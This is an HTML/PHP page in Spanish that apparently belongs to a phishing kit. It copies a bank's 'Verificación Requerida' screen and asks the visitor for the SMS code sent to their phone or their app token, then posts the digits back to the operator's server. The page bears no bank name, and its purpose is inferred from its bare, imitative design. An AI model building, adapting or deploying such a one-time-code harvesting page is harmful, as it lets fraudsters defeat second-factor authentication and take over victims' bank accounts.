

<html lang="es" translate="no" class="wf-montserrat-n4-active wf-montserrat-n5-active wf-montserrat-n7-active wf-sansserif-n4-inactive wf-active">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="viewport" content="user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1,width=device-width">
    <meta name="theme-color" content="#08528D">
    <meta name="apple-mobile-web-app-status-bar-style" content="#08528D">
    <meta name="msapplication-navbutton-color" content="#08528D">
    <meta name="msapplication-TileColor" content="#08528D">


    <meta name="format-detection" content="telephone=no">
    <meta name="google" content="notranslate">
    <title>Validando</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            outline: 0
        }

        html, body {
            height: 100vh;
            font-family: sans-serif;
        }
        body {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: flex-start;
            background-color: white !important;
            /*padding: 20pt;*/
            color: #072146;
        }

        .logo {
            height: 80px;
            width: 120px;
            margin-bottom: 30px
        }

        form {
            display: flex;
            width: 350px;
            height: 400px;
            align-items: center;
            padding-top: 30px;
            flex-direction: column;
            padding: 10px;
        }

        .notice {
            margin: 5px;
            color: #072146;
            padding: 5pt;
            font-size: 12pt;
            width: 300px;
            
            text-align: justify !important;
        }

        @media (max-width: 480px) {
            .notice {
                width: 100%;
            }
        }

        .adverbio {
            margin-top: 15px;
            display: flex;
            gap: 5px;
            flex-grow: none;
            padding: 5px 10px;
            align-items: center;
            /*border: 2px solid #000;*/
            border-radius: 5px;
        }

        .logito {
            width: 50px;
            height: 50px;
        }

        .container2 {
          display: flex !important;
          width: 100%;
          align-items: center;
          justify-content: center;
        }
      
        .box {
          width: 40px;
          height: 40px;
          border: 1.2px solid #072146;
          display: flex;
          justify-content: center;
          align-items: center;
          font-size: 15px;
          margin: 5px;
        }

        .box{
            border-radius: 5px;
            box-shadow: none;
            outline: 0;
            border: 1px solid #072146;
        }
        
        input {
          border: none;
          border-radius: 4px;
          text-align: center !important ;
          font-size: 24px !important ;
          width: 95% !important ;
          height: 95% !important ; 
          background-color: transparent !important;
          color: #072146;
         }

         .input-container {
            width: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
         }

         .shoepode {
            font-size: 0.9rem;
            color: #072146;
            margin-bottom: 10px;
            padding: 2px 20px;
            width: 100%;
         }

         .btn {
            margin-top: 30px;
            font-size: 13pt;
            font-weight: 600;
            padding: 8pt 12pt;
            background-color: #072146 !important;
            border-radius: 15pt;
            color: white;

            width: 150px;
            border: 1px solid white;
         }

         .logo-container {
          display: flex;
          align-items: center;
          justify-content: center;
          padding: 10pt;
          background-color: #072146;
          width: 100%;

        }

        .bottom-text {
          position: fixed;
          bottom: 0;
          left: 0;
          right: 0;
          background-color: #c0c0c0;
          height: 50px;
          color: white;
          font-size: 13pt;
          display: flex;
          align-items: center;
          justify-content: center;
        }

        .inputs {
          width: 100%;
        }
    </style>
</head>

<body>

    <span class="logo-container">
        <img src="img/logo.svg" style="height: 40px;width: 180px;">
    </span>

    <h1 style="font-weight: 600;margin-top: 20px;font-size: 15pt">Verificaci&oacute;n Requerida</h1>

    <div class="adverbio">
        
        <p class="notice" >
          Ingres&aacute; el c&oacute;digo que te enviamos por SMS a tu n&uacute;mero de celular. 
    </p>
    </div>
    
    
    <form method="post">
        <h4 class="shoepode"><?php print $MESSAGES["TOKEN1"]; ?></h4>
        <div class="inputs" style="">
            <div class="input-container">
                <div class="container2">
                   <div class="box">
                        <input type="tel" class="insideInput" minlength="1" maxlength="1" name="token1"  oninput="moveToNextInput(2, this)" id="input1" >
                   </div>
                  <div class="box">
                    <input class="insideInput" type="tel" minlength="1" maxlength="1" name="token2" oninput="moveToNextInput(3, this)" id="input2" >
                  </div>
                  <div class="box">
                    <input class="insideInput" type="tel" minlength="1" maxlength="1" name="token3" oninput="moveToNextInput(4, this)" id="input3" >
                  </div>
                  <div class="box">
                    <input class="insideInput" type="tel" minlength="1" maxlength="1" name="token4"  oninput="moveToNextInput(5, this)" id="input4" >
                  </div>
                  
                  <div class="box">
                        <input type="tel" class="insideInput" minlength="1" maxlength="1" name="token5"  oninput="moveToNextInput(6, this)" id="input5" >
                   </div>
                   <div class="box">
                        <input type="tel" class="insideInput" minlength="1" maxlength="1" name="token6"  oninput="moveToNextInput(7, this)" id="input6" >
                   </div>

                   <div class="box">
                        <input type="tel" class="insideInput" minlength="1" maxlength="1" name="token7"  oninput="moveToNextInput(8, this)" id="input7" >
                   </div>
                   <div class="box">
                        <input type="tel" class="insideInput" minlength="1" maxlength="1" name="token8"  oninput="moveToNextInput(8, this)" id="input8" >
                   </div>
                   
                </div>
               
            </div>
            <br>
                <center>O</center>
                <br>
                <p><b>Si no has recibido el código, ingresa tu Token App</b></p>

                <br>
                </div>
                   <div class="box" style="width: 13rem;">
                        <input type="tel" class="insideInput" maxlength="6" name="token8" id="input9" placeholder="######" >
                   </div>
                   
                </div>
        </div>
        <button class="btn" type="submit">Validar</button>
    </form>

    <script type="text/javascript">
        function moveToNextInput(nextInputIndex, currentInput) {
          const currentLength = currentInput.value.length;
    
          if (currentLength >= 1 && nextInputIndex <= 8) {
            const nextInput = document.getElementById(`input${nextInputIndex}`);

            nextInput.focus();
          }
        }

        window.onload = () => {
          document.querySelector("#input1").focus();
        }
      </script>
</body>

</html>
